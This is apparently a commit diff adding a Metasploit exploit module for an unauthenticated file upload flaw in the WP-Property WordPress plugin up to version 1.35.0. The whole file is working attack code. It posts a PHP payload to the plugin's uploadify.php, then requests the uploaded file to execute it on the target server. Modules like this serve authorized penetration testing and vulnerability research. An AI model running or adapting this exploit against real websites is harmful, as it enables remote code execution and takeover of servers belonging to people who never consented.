|
| 1 | +require 'msf/core' |
| 2 | +require 'msf/core/exploit/php_exe' |
| 3 | + |
| 4 | +class Metasploit3 < Msf::Exploit::Remote |
| 5 | + Rank = GreatRanking |
| 6 | + |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + include Msf::Exploit::PhpEXE |
| 9 | + |
| 10 | + def initialize(info = {}) |
| 11 | + super(update_info(info, |
| 12 | + 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', |
| 13 | + 'Description' => %q{ |
| 14 | + This module exploits a vulnerability found in WP-Property <= 1.35.0 |
| 15 | + WordPress plugin. By abusing the uploadify.php file, a malicious |
| 16 | + user can upload a file to a temp directory without authentication, |
| 17 | + which results in arbitrary code execution. |
| 18 | + }, |
| 19 | + 'Author' => [ |
| 20 | + 'Sammy FORGIT', # initial discovery |
| 21 | + 'James Fitts' # metasploit module |
| 22 | + ], |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Version' => '$Revision: $', |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'OSVDB', '82656' ], |
| 28 | + ], |
| 29 | + 'Payload' => |
| 30 | + { |
| 31 | + 'BadChars' => "\x00", |
| 32 | + }, |
| 33 | + 'Platform' => 'php', |
| 34 | + 'Arch' => ARCH_PHP, |
| 35 | + 'Targets' => |
| 36 | + [ |
| 37 | + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], |
| 38 | + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] |
| 39 | + ], |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Mar 26 2012')) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + OptString.new('TARGETURI', [true, 'The base path to WP-Property', '/wordpress/wp-content']) |
| 46 | + ], self.class) |
| 47 | + end |
| 48 | + |
| 49 | + def exploit |
| 50 | + uri = target_uri.path |
| 51 | + uri << '/' if uri[-1,1] != '/' |
| 52 | + |
| 53 | + peer = "#{rhost}:#{rport}" |
| 54 | + uid = rand_text_alphanumeric(34).to_s |
| 55 | + |
| 56 | + @payload_name = "#{rand_text_alpha(5)}.php" |
| 57 | + |
| 58 | + post_data = "--#{uid}\r\n" |
| 59 | + post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n" |
| 60 | + post_data << "Content-Type: application/octet-stream\r\n" |
| 61 | + post_data << "\r\n" |
| 62 | + post_data << payload.raw + "\r\n" |
| 63 | + post_data << "\r\n" |
| 64 | + post_data << "--#{uid}\r\n" |
| 65 | + post_data << "Content-Disposition: form-data; name=\"folder\"\r\n" |
| 66 | + post_data << "\r\n" |
| 67 | + post_data << "#{uri}plugins/wp-property/third-party/uploadify/\r\n" |
| 68 | + post_data << "--#{uid}--\r\n" |
| 69 | + |
| 70 | + print_status("Uploading payload #{@payload_name} to #{peer}...") |
| 71 | + res = send_request_cgi({ |
| 72 | + 'method' => 'POST', |
| 73 | + 'uri' => "#{uri}plugins/wp-property/third-party/uploadify/uploadify.php", |
| 74 | + 'ctype' => "multipart/form-data; boundary=#{uid}", |
| 75 | + 'data' => post_data |
| 76 | + }) |
| 77 | + |
| 78 | + if res |
| 79 | + print_status("#{peer} responds with status: #{res.code.to_s}") |
| 80 | + else |
| 81 | + print_error("#{peer} not responding to our requests...") |
| 82 | + return |
| 83 | + end |
| 84 | + |
| 85 | + print_status("Executing payload #{@payload_name} on the target...") |
| 86 | + res = send_request_raw({ |
| 87 | + 'uri' => "#{uri}plugins/wp-property/third-party/uploadify/#{@payload_name}", |
| 88 | + 'method' => 'GET' |
| 89 | + }) |
| 90 | + |
| 91 | + if res and res.code == 404 |
| 92 | + print_error("Target responding with a 404... Upload probably failed...") |
| 93 | + return |
| 94 | + end |
| 95 | + end |
| 96 | +end |
0 commit comments